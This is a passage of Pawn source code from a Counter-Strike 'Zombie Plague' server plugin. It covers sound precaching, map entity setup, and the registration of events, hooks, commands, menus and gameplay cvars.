			if (ArrayGetCell(sound_ambience4_ismp3, i))
			{
				format(buffer, charsmax(buffer), "sound/%s", buffer)
				engfunc(EngFunc_PrecacheGeneric, buffer)
			}
			else
			{
				engfunc(EngFunc_PrecacheSound, buffer)
			}
		}
	}
	if (g_ambience_sounds[AMBIENCE_SOUNDS_PLAGUE])
	{
		for (i = 0; i < ArraySize(sound_ambience5); i++)
		{
			ArrayGetString(sound_ambience5, i, buffer, charsmax(buffer))
			
			if (ArrayGetCell(sound_ambience5_ismp3, i))
			{
				format(buffer, charsmax(buffer), "sound/%s", buffer)
				engfunc(EngFunc_PrecacheGeneric, buffer)
			}
			else
			{
				engfunc(EngFunc_PrecacheSound, buffer)
			}
		}
	}

	engfunc(EngFunc_PrecacheSound, sound_flashlight);
	engfunc(EngFunc_PrecacheSound, sound_buyammo);
	engfunc(EngFunc_PrecacheSound, sound_armorhit);
	engfunc(EngFunc_PrecacheSound, sound_kevlar);
	engfunc(EngFunc_PrecacheSound, sound_gunpickup);

	if (!Map_ZP_Alien_Boss && !Map_ZP_Oberon_Boss && !Map_ZP_Oberon_Boss_2 && !Map_ZP_zs_decoy)
	{
		new ent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "hostage_entity"));
		if (pev_valid(ent))
		{
			engfunc(EngFunc_SetOrigin, ent, Float:{8192.0,8192.0,8192.0})
			dllfunc(DLLFunc_Spawn, ent)
		}
	}
	
	if (g_ambience_fog)
	{
		new ent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "env_fog"))
		if (pev_valid(ent))
		{
			fm_set_kvd(ent, "density", g_fog_density, "env_fog")
			fm_set_kvd(ent, "rendercolor", g_fog_color, "env_fog")
		}
	}
	if (g_ambience_rain) engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "env_rain"))
	if (g_ambience_snow) engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "env_snow"))
	
	// Custom buyzone for all players
	g_buyzone_ent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "func_buyzone"))
	if (pev_valid(g_buyzone_ent))
	{
		dllfunc(DLLFunc_Spawn, g_buyzone_ent)
		set_pev(g_buyzone_ent, pev_solid, SOLID_NOT)
	}
	
	g_fwSpawn = register_forward(FM_Spawn, "fw_Spawn")
	g_fwPrecacheSound = register_forward(FM_PrecacheSound, "fw_PrecacheSound")
}


public plugin_init() {

	if (!g_pluginenabled) return;

	if(!g_zclass_i) set_fail_state("No zombie classes loaded!");

	register_dictionary("zombie_plague.txt");
	register_dictionary("zp_extra_chainsaw.txt");
	register_dictionary("zp_mode.txt");
	register_dictionary("buy_menu.txt");
	

	register_event("StatusValue", "event_show_status", "be", "1=2", "2!0");
	register_event("StatusValue", "event_hide_status", "be", "1=1", "2=0");
	register_event("HLTV", "event_round_start", "a", "1=0", "2=0");
	register_event("CurWeapon", "event_curweapon", "b", "1=1");
	register_logevent("logevent_round_start",2, "1=Round_Start");
	register_logevent("logevent_round_end", 2, "1=Round_End");
	register_event("AmmoX", "event_ammo_x", "be");
	if (g_ambience_sounds[AMBIENCE_SOUNDS_INFECTION] || g_ambience_sounds[AMBIENCE_SOUNDS_NEMESIS] || g_ambience_sounds[AMBIENCE_SOUNDS_SURVIVOR] || g_ambience_sounds[AMBIENCE_SOUNDS_SWARM] || g_ambience_sounds[AMBIENCE_SOUNDS_PLAGUE])
		register_event("30", "event_intermission", "a");

		
	RegisterHam(Ham_Spawn, "player", "fw_PlayerSpawn_Post", 1);
	RegisterHam(Ham_Killed, "player", "fw_PlayerKilled");
	RegisterHam(Ham_Killed, "player", "fw_PlayerKilled_Post", 1);
	RegisterHam(Ham_Player_PreThink, "grenade", "fw_Player_PreThink");
	RegisterHam(Ham_TakeDamage, "player", "fw_TakeDamage");
	RegisterHam(Ham_TakeDamage, "player", "fw_TakeDamage_Post", 1);
	RegisterHam(Ham_TakeDamage, "player", "fwdTakeDamage")
	RegisterHam(Ham_TraceAttack, "player", "fw_TraceAttack");
	RegisterHam(Ham_Player_ResetMaxSpeed, "player", "fw_ResetMaxSpeed")
	RegisterHam(Ham_Use, "func_tank", "fw_UseStationary");
	RegisterHam(Ham_Use, "func_tankmortar", "fw_UseStationary");
	RegisterHam(Ham_Use, "func_tankrocket", "fw_UseStationary");
	RegisterHam(Ham_Use, "func_tanklaser", "fw_UseStationary");
	RegisterHam(Ham_Use, "func_tank", "fw_UseStationary_Post", 1);
	RegisterHam(Ham_Use, "func_tankmortar", "fw_UseStationary_Post", 1);
	RegisterHam(Ham_Use, "func_tankrocket", "fw_UseStationary_Post", 1);
	RegisterHam(Ham_Use, "func_tanklaser", "fw_UseStationary_Post", 1);
	RegisterHam(Ham_Use, "func_pushable", "fw_UsePushable");
	RegisterHam(Ham_Touch, "weaponbox", "fw_TouchWeapon");
	RegisterHam(Ham_Touch, "armoury_entity", "fw_TouchWeapon");
	RegisterHam(Ham_Touch, "weapon_shield", "fw_TouchWeapon");
	RegisterHam(Ham_TakeDamage,"player","CPlayer__TakeDamage_Post",1)
	RegisterHam( Ham_Item_AddToPlayer, "weapon_flashbang", "fw_AwpAddToPlayer_flash" );

	register_touch("cs_chainsaw", "player", "fw_Chainsaw_Touch");
	RegisterHam(Ham_Weapon_PrimaryAttack, "weapon_knife", "fw_Knife_PrimaryAttack_Post", 1);
	RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_knife", "fw_Knife_SecondaryAttack_Post", 1);

	RegisterHam(Ham_AddPlayerItem, "player", "fw_AddPlayerItem");
	RegisterHam(Ham_Player_Duck, "player", "Player_Duck", 1);
	for (new i = 1; i < sizeof WEAPONENTNAMES; i++)
		if (WEAPONENTNAMES[i][0]) RegisterHam(Ham_Item_Deploy, WEAPONENTNAMES[i], "fw_Item_Deploy_Post", 1);

	register_forward(FM_ClientDisconnect, "fw_ClientDisconnect");
	register_forward(FM_ClientDisconnect, "fw_ClientDisconnect_Post", 1);
	register_forward(FM_ClientKill, "fw_ClientKill");
	register_forward(FM_EmitSound, "fw_EmitSound");
	register_forward(FM_EmitSound, "fw_EmitSound_Humans");
	if (!g_handle_models_on_separate_ent) register_forward(FM_SetClientKeyValue, "fw_SetClientKeyValue");
	register_forward(FM_ClientUserInfoChanged, "fw_ClientUserInfoChanged");
	register_forward(FM_GetGameDescription, "fw_GetGameDescription");
	register_forward(FM_SetModel, "fw_SetModel");
	RegisterHam(Ham_Think, "grenade", "fw_ThinkGrenade");
	register_forward(FM_CmdStart, "fw_CmdStart");
	register_forward(FM_PlayerPreThink, "fw_PlayerPreThink");
	unregister_forward(FM_Spawn, g_fwSpawn);
	unregister_forward(FM_PrecacheSound, g_fwPrecacheSound);
	register_forward(FM_AddToFullPack, "fw_PlayerAddToFullPack", 1 );

	register_clcmd("say zpmenu", "clcmd_saymenu");
	register_clcmd("say /zpmenu", "clcmd_saymenu");
	register_clcmd("say unstuck", "clcmd_sayunstuck");
	register_clcmd("say /unstuck", "clcmd_sayunstuck");
	register_clcmd("nightvision", "clcmd_nightvision");
	register_clcmd("drop", "clcmd_drop");
	/*register_clcmd("buyammo1", "clcmd_buyammo");
	register_clcmd("buyammo2", "clcmd_buyammo");*/
	register_clcmd("buyammo1", "clcmd_buyammo1")
	register_clcmd("buyammo2", "clcmd_buyammo2")
	register_clcmd("chooseteam", "clcmd_changeteam");
	register_clcmd("jointeam", "clcmd_changeteam");
	register_clcmd("rules!","admin_motd",0,"- Shows the MOTD.")
	register_clcmd("say /top15","top_motd",0,"- Shows the MOTD.")


	register_menu("Game Menu", KEYSMENU, "menu_game");
	register_menu("Buy Menu 1", KEYSMENU, "menu_buy1");
	register_menu("Buy Menu 2", KEYSMENU, "menu_buy2");
	register_menu("Buy Menu 3", KEYSMENU, "menu_buy3");
	register_menu("Mod Info", KEYSMENU, "menu_info");
	register_menu("Admin Menu", KEYSMENU, "menu_admin");
	
	// CS Buy Menus (to prevent zombies/survivor from buying)
	register_menucmd(register_menuid("#Buy", 1), 511, "menu_cs_buy")
	register_menucmd(register_menuid("BuyPistol", 1), 511, "menu_cs_buy")
	register_menucmd(register_menuid("BuyShotgun", 1), 511, "menu_cs_buy")
	register_menucmd(register_menuid("BuySub", 1), 511, "menu_cs_buy")
	register_menucmd(register_menuid("BuyRifle", 1), 511, "menu_cs_buy")
	register_menucmd(register_menuid("BuyMachine", 1), 511, "menu_cs_buy")
	register_menucmd(register_menuid("BuyItem", 1), 511, "menu_cs_buy")
	register_menucmd(-28, 511, "menu_cs_buy")
	register_menucmd(-29, 511, "menu_cs_buy")
	register_menucmd(-30, 511, "menu_cs_buy")
	register_menucmd(-32, 511, "menu_cs_buy")
	register_menucmd(-31, 511, "menu_cs_buy")
	register_menucmd(-33, 511, "menu_cs_buy")
	register_menucmd(-34, 511, "menu_cs_buy")

	register_concmd("zp_zombie", "cmd_zombie", _, "<target> - Turn someone into a Zombie", 0);
	register_concmd("zp_human", "cmd_human", _, "<target> - Turn someone back to Human", 0);
	register_concmd("zp_nemesis", "cmd_nemesis", _, "<target> - Turn someone into a Nemesis", 0);
	register_concmd("zp_survivor", "cmd_survivor", _, "<target> - Turn someone into a Survivor", 0);
	register_concmd("zp_respawn", "cmd_respawn", _, "<target> - Respawn someone", 0);
	register_concmd("zp_swarm", "cmd_swarm", _, " - Start Swarm Mode", 0);
	register_concmd("zp_multi", "cmd_multi", _, " - Start Multi Infection", 0);
	register_concmd("zp_plague", "cmd_plague", _, " - Start Plague Mode", 0);

	g_msgScoreInfo = get_user_msgid("ScoreInfo");
	g_msgTeamInfo = get_user_msgid("TeamInfo");
	g_msgDeathMsg = get_user_msgid("DeathMsg");
	g_msgScoreAttrib = get_user_msgid("ScoreAttrib");
	g_msgSetFOV = get_user_msgid("SetFOV");
	g_msgScreenFade = get_user_msgid("ScreenFade");
	g_msgScreenShake = get_user_msgid("ScreenShake");
	g_msgNVGToggle = get_user_msgid("NVGToggle");
	g_msgFlashlight = get_user_msgid("Flashlight");
	g_msgFlashBat = get_user_msgid("FlashBat");
	g_msgAmmoPickup = get_user_msgid("AmmoPickup");
	g_msgDamage = get_user_msgid("Damage");
	g_msgHideWeapon = get_user_msgid("HideWeapon");
	g_msgCrosshair = get_user_msgid("Crosshair");
	g_msgSayText = get_user_msgid("SayText");
	g_msgCurWeapon = get_user_msgid("CurWeapon");

	register_message(g_msgCurWeapon, "message_cur_weapon");
	register_message(get_user_msgid("Money"), "message_money");
	register_message(get_user_msgid("Health"), "message_health");
	register_message(g_msgFlashBat, "message_flashbat");
	register_message(g_msgScreenFade, "message_screenfade");
	register_message(g_msgNVGToggle, "message_nvgtoggle");
	if (g_handle_models_on_separate_ent) register_message(get_user_msgid("ClCorpse"), "message_clcorpse");
	register_message(get_user_msgid("WeapPickup"), "message_weappickup");
	register_message(g_msgAmmoPickup, "message_ammopickup");
	register_message(get_user_msgid("Scenario"), "message_scenario");
	register_message(get_user_msgid("HostagePos"), "message_hostagepos");
	register_message(get_user_msgid("TextMsg"), "message_textmsg");
	register_message(get_user_msgid("SendAudio"), "message_sendaudio");
	register_message(get_user_msgid("TeamScore"), "message_teamscore");
	register_message(g_msgTeamInfo, "message_teaminfo");

	cvar_warmup = register_cvar("zp_delay", "19")
	cvar_lighting = register_cvar("zp_lighting", "k")
	cvar_thunder = register_cvar("zp_thunderclap", "0")
	cvar_triggered = register_cvar("zp_triggered_lights", "1")
	cvar_removedoors = register_cvar("zp_remove_doors", "0")
	cvar_blockpushables = register_cvar("zp_blockuse_pushables", "1")
	cvar_blocksuicide = register_cvar("zp_block_suicide", "1")
	cvar_randspawn = register_cvar("zp_random_spawn", "0")
	cvar_respawnworldspawnkill = register_cvar("zp_respawn_on_worldspawn_kill", "1")
	cvar_removedropped = register_cvar("zp_remove_dropped", "20")
	cvar_removemoney = register_cvar("zp_remove_money", "0")
	cvar_buycustom = register_cvar("zp_buy_custom", "0")
	cvar_buyzonetime = register_cvar("zp_buyzone_time", "0.0")
	cvar_randweapons = register_cvar("zp_random_weapons", "0")
	cvar_adminmodelshuman = register_cvar("zp_admin_models_human", "0")
	cvar_adminmodelszombie = register_cvar("zp_admin_models_zombie", "0")
	cvar_adminknifemodelszombie = register_cvar("zp_admin_knife_models_zombie", "0")
	cvar_zclasses = register_cvar("zp_zombie_classes", "1")
	cvar_statssave = register_cvar("zp_stats_save", "1")
	cvar_startammopacks = register_cvar("zp_starting_ammo_packs", "5")
	cvar_preventconsecutive = register_cvar("zp_prevent_consecutive_modes", "1")
	cvar_keephealthondisconnect = register_cvar("zp_keep_health_on_disconnect", "1")

	cvar_deathmatch = register_cvar("zp_deathmatch", "0")
	cvar_spawndelay = register_cvar("zp_spawn_delay", "5")
	cvar_spawnprotection = register_cvar("zp_spawn_protection", "5")
	cvar_respawnonsuicide = register_cvar("zp_respawn_on_suicide", "0")
	cvar_respawnafterlast = register_cvar("zp_respawn_after_last_human", "1")
	cvar_allowrespawninfection = register_cvar("zp_infection_allow_respawn", "1")
	cvar_allowrespawnnem = register_cvar("zp_nem_allow_respawn", "0")
	cvar_allowrespawnsurv = register_cvar("zp_surv_allow_respawn", "0")
	cvar_allowrespawnswarm = register_cvar("zp_swarm_allow_respawn", "0")
	cvar_allowrespawnplague = register_cvar("zp_plague_allow_respawn", "0")
	cvar_respawnzomb = register_cvar("zp_respawn_zombies", "1")
	cvar_respawnhum = register_cvar("zp_respawn_humans", "1")
	cvar_respawnnem = register_cvar("zp_respawn_nemesis", "1")
	cvar_respawnsurv = register_cvar("zp_respawn_survivors", "1")

	cvar_nvggive = register_cvar("zp_nvg_give", "1")
	cvar_customnvg = register_cvar("zp_nvg_custom", "1")
	cvar_nvgsize = register_cvar("zp_nvg_size", "80")
	cvar_nvgcolor[0] = register_cvar("zp_nvg_color_R", "0")
	cvar_nvgcolor[1] = register_cvar("zp_nvg_color_G", "150")
	cvar_nvgcolor[2] = register_cvar("zp_nvg_color_B", "0")
	cvar_humnvgcolor[0] = register_cvar("zp_nvg_hum_color_R", "0")
	cvar_humnvgcolor[1] = register_cvar("zp_nvg_hum_color_G", "150")
	cvar_humnvgcolor[2] = register_cvar("zp_nvg_hum_color_B", "0")
	cvar_nemnvgcolor[0] = register_cvar("zp_nvg_nem_color_R", "150")
	cvar_nemnvgcolor[1] = register_cvar("zp_nvg_nem_color_G", "0")
	cvar_nemnvgcolor[2] = register_cvar("zp_nvg_nem_color_B", "0")
	cvar_customflash = register_cvar("zp_flash_custom", "0")
	cvar_flashsize = register_cvar("zp_flash_size", "10")
	cvar_flashdrain = register_cvar("zp_flash_drain", "1")
	cvar_flashcharge = register_cvar("zp_flash_charge", "5")
	cvar_flashdist = register_cvar("zp_flash_distance", "1000")
	cvar_flashcolor[0] = register_cvar("zp_flash_color_R", "100")
	cvar_flashcolor[1] = register_cvar("zp_flash_color_G", "100")
	cvar_flashcolor[2] = register_cvar("zp_flash_color_B", "100")
	cvar_flashshowall = register_cvar("zp_flash_show_all", "1")

	// CVARS - Knockback
	cvar_knockback = register_cvar("zp_knockback", "0")
	cvar_knockbackdamage = register_cvar("zp_knockback_damage", "1")
	cvar_knockbackpower = register_cvar("zp_knockback_power", "1")
	cvar_knockbackzvel = register_cvar("zp_knockback_zvel", "0")
	cvar_knockbackducking = register_cvar("zp_knockback_ducking", "0.25")
	cvar_knockbackdist = register_cvar("zp_knockback_distance", "500")
	cvar_nemknockback = register_cvar("zp_knockback_nemesis", "0.25")

	// CVARS - Leap
	cvar_leapzombies = register_cvar("zp_leap_zombies", "0")
	cvar_leapzombiesforce = register_cvar("zp_leap_zombies_force", "350")
	cvar_leapzombiesheight = register_cvar("zp_leap_zombies_height", "300")
	cvar_leapzombiescooldown = register_cvar("zp_leap_zombies_cooldown", "5.0")
	cvar_leapnemesis = register_cvar("zp_leap_nemesis", "1")
	cvar_leapnemesisforce = register_cvar("zp_leap_nemesis_force", "350")
	cvar_leapnemesisheight = register_cvar("zp_leap_nemesis_height", "350")
	cvar_leapnemesiscooldown = register_cvar("zp_leap_nemesis_cooldown", "1.0")
	cvar_leapsurvivor = register_cvar("zp_leap_survivor", "0")
	cvar_leapsurvivorforce = register_cvar("zp_leap_survivor_force", "500")
	cvar_leapsurvivorheight = register_cvar("zp_leap_survivor_height", "300")
	cvar_leapsurvivorcooldown = register_cvar("zp_leap_survivor_cooldown", "5.0")

	// CVARS - Humans
	cvar_humanhp = register_cvar("zp_human_health", "200")
	cvar_humanlasthp = register_cvar("zp_human_last_extrahp", "400")
	cvar_humanspd = register_cvar("zp_human_speed", "240")
	cvar_humangravity = register_cvar("zp_human_gravity", "1.0")
	cvar_humanarmor = register_cvar("zp_human_armor_protect", "1")
	cvar_infammo = register_cvar("zp_human_unlimited_ammo", "0")
	cvar_ammodamage = register_cvar("zp_human_damage_reward", "800")
	cvar_fragskill = register_cvar("zp_human_frags_for_kill", "1")

	// CVARS - Custom Grenades
	cvar_firegrenades = register_cvar("zp_fire_grenades", "1")
	cvar_fireduration = register_cvar("zp_fire_duration", "10")
	cvar_firedamage = register_cvar("zp_fire_damage", "5")
	cvar_fireslowdown = register_cvar("zp_fire_slowdown", "0.5")
	cvar_frostgrenades = register_cvar("zp_frost_grenades", "1")
	cvar_freezeduration = register_cvar("zp_frost_duration", "3")
	cvar_freezeduration_first = register_cvar("zp_frost_duration_first_zombie", "3")
	cvar_flaregrenades = register_cvar("zp_flare_grenades","2")
	cvar_flareduration = register_cvar("zp_flare_duration", "60")
	cvar_flaresize = register_cvar("zp_flare_size", "25")
	cvar_flarecolor = register_cvar("zp_flare_color", "0")

	// CVARS - Zombies
	cvar_zombiefirsthp = register_cvar("zp_zombie_first_hp", "750")
	cvar_zombiearmor = register_cvar("zp_zombie_armor", "0.75")
	cvar_hitzones = register_cvar("zp_zombie_hitzones", "0")
	cvar_zombiebonushp = register_cvar("zp_zombie_infect_health", "500")
	cvar_zombiefov = register_cvar("zp_zombie_fov", "110")
	cvar_zombiesilent = register_cvar("zp_zombie_silent", "1")
	cvar_zombiepainfree = register_cvar("zp_zombie_painfree", "2")
	cvar_zombiebleeding = register_cvar("zp_zombie_bleeding", "1")
	cvar_ammoinfect = register_cvar("zp_zombie_infect_reward", "1")
	cvar_fragsinfect = register_cvar("zp_zombie_frags_for_infect", "1")

	// CVARS - Special Effects
	cvar_infectionscreenfade = register_cvar("zp_infection_screenfade", "1")
	cvar_infectionscreenshake = register_cvar("zp_infection_screenshake", "1")
	cvar_infectionsparkle = register_cvar("zp_infection_sparkle", "1")
	cvar_infectiontracers = register_cvar("zp_infection_tracers", "1")
	cvar_infectionparticles = register_cvar("zp_infection_particles", "1")
	cvar_hudicons = register_cvar("zp_hud_icons", "1")

	// CVARS - Nemesis
	cvar_nem = register_cvar("zp_nem_enabled", "1")
	cvar_nemchance = register_cvar("zp_nem_chance", "25")
	cvar_nemminplayers = register_cvar("zp_nem_min_players", "0")
	cvar_nemhp = register_cvar("zp_nem_health", "0")
	cvar_nembasehp = register_cvar("zp_nem_base_health", "3050")
	cvar_nemspd = register_cvar("zp_nem_speed", "250")
	cvar_nemgravity = register_cvar("zp_nem_gravity", "0.5")
	cvar_nemdamage = register_cvar("zp_nem_damage", "250")
	cvar_nemglow = register_cvar("zp_nem_glow", "0")
	cvar_nemaura = register_cvar("zp_nem_aura", "0")	
	cvar_nempainfree = register_cvar("zp_nem_painfree", "1")
	cvar_nemignorefrags = register_cvar("zp_nem_ignore_frags", "0")
	cvar_nemignoreammo = register_cvar("zp_nem_ignore_rewards", "0")
	g_cvar_nemesis_dmg = register_cvar("zp_nem_mult_dmg", "1.645")

	// CVARS - Survivor
	cvar_surv = register_cvar("zp_surv_enabled", "1")
	cvar_survchance = register_cvar("zp_surv_chance", "30")
	cvar_survminplayers = register_cvar("zp_surv_min_players", "0")
	cvar_survhp = register_cvar("zp_surv_health", "0")
	cvar_survbasehp = register_cvar("zp_surv_base_health", "150")
	cvar_survspd = register_cvar("zp_surv_speed", "230")
	cvar_survgravity = register_cvar("zp_surv_gravity", "1.0")
	cvar_survglow = register_cvar("zp_surv_glow", "0")
	cvar_survaura = register_cvar("zp_surv_aura", "0")
	cvar_survpainfree = register_cvar("zp_surv_painfree", "1")
	cvar_survignorefrags = register_cvar("zp_surv_ignore_frags", "0")
	cvar_survignoreammo = register_cvar("zp_surv_ignore_rewards", "0")
	cvar_survweapon = register_cvar("zp_surv_weapon", "weapon_m249")
	cvar_survinfammo = register_cvar("zp_surv_unlimited_ammo", "2")
	g_cvar_survivor_armor = register_cvar("zp_surv_armor", "35")

	// CVARS - Swarm Mode
	cvar_swarm = register_cvar("zp_swarm_enabled", "1")
	cvar_swarmchance = register_cvar("zp_swarm_chance", "25")
	cvar_swarmminplayers = register_cvar("zp_swarm_min_players", "0")

	// CVARS - Multi Infection
	cvar_multi = register_cvar("zp_multi_enabled", "1")
	cvar_multichance = register_cvar("zp_multi_chance", "20")
	cvar_multiminplayers = register_cvar("zp_multi_min_players", "0")
	cvar_multiratio = register_cvar("zp_multi_ratio", "0.15")

	// CVARS - Plague Mode
	cvar_plague = register_cvar("zp_plague_enabled", "1")
	cvar_plaguechance = register_cvar("zp_plague_chance", "30")
	cvar_plagueminplayers = register_cvar("zp_plague_min_players", "0")
	cvar_plagueratio = register_cvar("zp_plague_ratio", "0.5")
	cvar_plaguenemnum = register_cvar("zp_plague_nem_number", "1")
	cvar_plaguenemhpmulti = register_cvar("zp_plague_nem_hp_multi", "0.5")
	cvar_plaguesurvnum = register_cvar("zp_plague_surv_number", "1")
	cvar_plaguesurvhpmulti = register_cvar("zp_plague_surv_hp_multi", "0.5")

	// CVARS - Others
	cvar_logcommands = register_cvar("zp_logcommands", "1")
	cvar_showactivity = get_cvar_pointer("amx_show_activity")
	cvar_botquota = get_cvar_pointer("bot_quota")
	register_cvar("zp_version", PLUGIN_VERSION, FCVAR_SERVER|FCVAR_SPONLY)
	set_cvar_string("zp_version", PLUGIN_VERSION)

	cvar_extraitems = register_cvar("zp_extra_items", "1");
	cvar_extraweapons = register_cvar("zp_extra_weapons", "1");
	cvar_extranvision = register_cvar("zp_extra_nvision", "1");
	cvar_extraantidote = register_cvar("zp_extra_antidote", "1");
	cvar_antidotelimit = register_cvar("zp_extra_antidote_limit", "999");
	cvar_extramadness = register_cvar("zp_extra_madness", "1");
	cvar_madnesslimit = register_cvar("zp_extra_madness_limit", "999");
	cvar_madnessduration = register_cvar("zp_extra_madness_duration", "5.0");
	cvar_extrainfbomb = register_cvar("zp_extra_infbomb", "1");
	cvar_infbomblimit = register_cvar("zp_extra_infbomb_limit", "999");

	cvar_dmggore = register_cvar("zp_chainsaw_gore_in_damage", "1");
	cvar_oneround = register_cvar("zp_chainsaw_oneround", "0");
	cvar_dropflags = register_cvar("zp_chainsaw_drop_flags", "abcd");
	cvar_body_xplode = register_cvar("zp_chainsaw_victim_explode", "1");
	cvar_pattack_rate = register_cvar("zp_chainsaw_attack1_rate", "0.3");
	cvar_sattack_rate = register_cvar("zp_chainsaw_attack2_rate", "1.2");
	cvar_pattack_recoil = register_cvar("zp_chainsaw_attack1_recoil", "-5.6");
	cvar_sattack_recoil = register_cvar("zp_chainsaw_attack2_recoil", "-8.0");
	

	g_armor_amount = register_cvar("zp_armor_amount", "999");
	g_armor_limit = register_cvar("zp_armor_limit", "999");
	g_hp_amount = register_cvar("zp_hp_amount", "2500");
	
	health_add = register_cvar("amx_vampire_hp", "100")
	health_hs_add = register_cvar("amx_vampire_hp_hs", "150")
	health_max = register_cvar("amx_vampire_max_hp", "3000")

	register_event("DeathMsg", "hook_death", "a", "1>0")
	
	register_event("CurWeapon", "grenade_icon", "be", "1=1")
	register_event("DeathMsg", "event_death", "a")
	iconstatus = get_user_msgid("StatusIcon") 	

	g_fwRoundStart = CreateMultiForward("zp_round_started", ET_IGNORE, FP_CELL, FP_CELL)
	g_fwRoundEnd = CreateMultiForward("zp_round_ended", ET_IGNORE, FP_CELL)
	g_fwUserInfected_pre = CreateMultiForward("zp_user_infected_pre", ET_IGNORE, FP_CELL, FP_CELL, FP_CELL)
	g_fwUserInfected_post = CreateMultiForward("zp_user_infected_post", ET_IGNORE, FP_CELL, FP_CELL, FP_CELL)
	g_fwUserHumanized_pre = CreateMultiForward("zp_user_humanized_pre", ET_IGNORE, FP_CELL, FP_CELL)
	g_fwUserHumanized_post = CreateMultiForward("zp_user_humanized_post", ET_IGNORE, FP_CELL, FP_CELL)
	g_fwUserInfect_attempt = CreateMultiForward("zp_user_infect_attempt", ET_CONTINUE, FP_CELL, FP_CELL, FP_CELL)
	g_fwUserHumanize_attempt = CreateMultiForward("zp_user_humanize_attempt", ET_CONTINUE, FP_CELL, FP_CELL)
	g_fwExtraItemSelected = CreateMultiForward("zp_extra_item_selected", ET_CONTINUE, FP_CELL, FP_CELL)
	g_fwUserUnfrozen = CreateMultiForward("zp_user_unfrozen", ET_IGNORE, FP_CELL)
	g_fwUserLastZombie = CreateMultiForward("zp_user_last_zombie", ET_IGNORE, FP_CELL)
	g_fwUserLastHuman = CreateMultiForward("zp_user_last_human", ET_IGNORE, FP_CELL)
	g_fwBuyAmmo1 = CreateMultiForward("zp_buy_ammo_1", ET_CONTINUE, FP_CELL)
	g_fwBuyAmmo2 = CreateMultiForward("zp_buy_ammo_2", ET_CONTINUE, FP_CELL)
	
	load_spawns();

	//set_task (2.0 ,"delay" )
	//g_check = TrieCreate()

	if (g_sky_enable)
	{
		new sky[32];
		ArrayGetString(g_sky_names, random_num(0, ArraySize(g_sky_names) - 1), sky, charsmax(sky));
		set_cvar_string("sv_skyname", sky);
	}
	
	set_cvar_num("sv_skycolor_r", 0);
	set_cvar_num("sv_skycolor_g", 0);
	set_cvar_num("sv_skycolor_b", 0);
	
	g_MsgSync = CreateHudSyncObj();
	g_MsgSync2 = CreateHudSyncObj();
	g_MsgSync3 = CreateHudSyncObj();
	
	formatex(g_modname, charsmax(g_modname), "\r[MENU]\y Меню сервера", PLUGIN_VERSION);
	
	g_maxplayers = get_maxplayers();
	gmsgWeaponList = get_user_msgid("WeaponList")
	
	db_slot_i = g_maxplayers+1;
	
}

public delay ()
{
	server_cmd("zp_delay 17")
	server_exec();
}

public Hook_hammer_SelectWeapon(id)
{
	engclient_cmd(id, "weapon_knife")
	return PLUGIN_HANDLED
}

public Hook_he_SelectWeapon(id)
{
	engclient_cmd(id, "weapon_hegrenade")
	return PLUGIN_HANDLED
}

public Hook_flash_SelectWeapon(id)
{
	engclient_cmd(id, "weapon_flashbang")
	return PLUGIN_HANDLED
}

public Hook_smoke_SelectWeapon(id)
{
	engclient_cmd(id, "weapon_smokegrenade")
	return PLUGIN_HANDLED
}

public fw_AwpAddToPlayer_flash( iEnt, Player )
{
	if( pev_valid( iEnt ) && is_user_connected( Player ) )
	{
		if(! g_zombie[ Player ] )
		{
			MsgRelaySprite_Flash(Player, true)
		}
	}
}

public MsgRelaySprite_Flash(playerid, bool:relay)
{
	if (!is_user_connected(playerid))
		return 0
	
	message_begin(MSG_ONE, gmsgWeaponList, {0,0,0}, playerid)
	
	if (relay)	write_string("weapon_fgr2_bos93")
	else		write_string("weapon_flashbang")
		
	write_byte(11)
	write_byte(2)
	write_byte(-1)
	write_byte(-1)
	write_byte(3)
	write_byte(2)
	write_byte(25)
	write_byte(24)
	message_end()
	
	return 1
}


public MsgRelaySprite_AXE(playerid, bool:relay)
{
	if (!is_user_connected(playerid))
		return 0
	
	message_begin(MSG_ONE, gmsgWeaponList, {0,0,0}, playerid)
	
	if (relay)	write_string("knife_axe_bos93")
	else		write_string("weapon_knife")
		
	write_byte(-1)
	write_byte(-1)
	write_byte(-1)
	write_byte(-1)
	write_byte(2)
	write_byte(1)
	write_byte(29)
	write_byte(0)
	message_end()
	
	return 1
}

public MsgRelaySprite_Hammer(playerid, bool:relay)
{
	if (!is_user_connected(playerid))
		return 0
	
	message_begin(MSG_ONE, gmsgWeaponList, {0,0,0}, playerid)
	
	if (relay)	write_string("knife_hammer_bos93")
	else		write_string("weapon_knife")
		
	write_byte(-1)
	write_byte(-1)
	write_byte(-1)
	write_byte(-1)
	write_byte(2)
	write_byte(1)
	write_byte(29)
	write_byte(0)
	message_end()
	
	return 1
}

public MsgRelaySprite_strong(playerid, bool:relay)
{
	if (!is_user_connected(playerid))
		return 0
	
	message_begin(MSG_ONE, gmsgWeaponList, {0,0,0}, playerid)
	
	if (relay)	write_string("knife_strongknife_bos93")
	else		write_string("weapon_knife")
		
	write_byte(-1)
	write_byte(-1)
	write_byte(-1)
	write_byte(-1)
	write_byte(2)
	write_byte(1)
	write_byte(29)
	write_byte(0)
	message_end()
	
	return 1
}

public MsgRelaySprite_Combat(playerid, bool:relay)
{
	if (!is_user_connected(playerid))
		return 0
	
	message_begin(MSG_ONE, gmsgWeaponList, {0,0,0}, playerid)
	
	if (relay)	write_string("knife_combat_bos93")
	else		write_string("weapon_knife")
		
	write_byte(-1)
	write_byte(-1)
	write_byte(-1)
	write_byte(-1)
	write_byte(2)
	write_byte(1)
	write_byte(29)
	write_byte(0)
	message_end()
	
	return 1
}

public plugin_cfg() {
	if (!g_pluginenabled) return;
	
	new cfgdir[32];
	get_configsdir(cfgdir, charsmax(cfgdir));
	
	server_cmd("exec %s/zombieplague.cfg", cfgdir);
	
	g_arrays_created = false;
	
	save_customization();
	
	set_task(5.0, "lighting_effects", _, _, _, "b");
	set_task(0.5, "cache_cvars");
	set_task(0.5, "event_round_start");
	set_task(0.5, "logevent_round_start");
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////
public event_curweapon(id) {
	if(!is_user_valid_alive(id))
		return PLUGIN_CONTINUE;

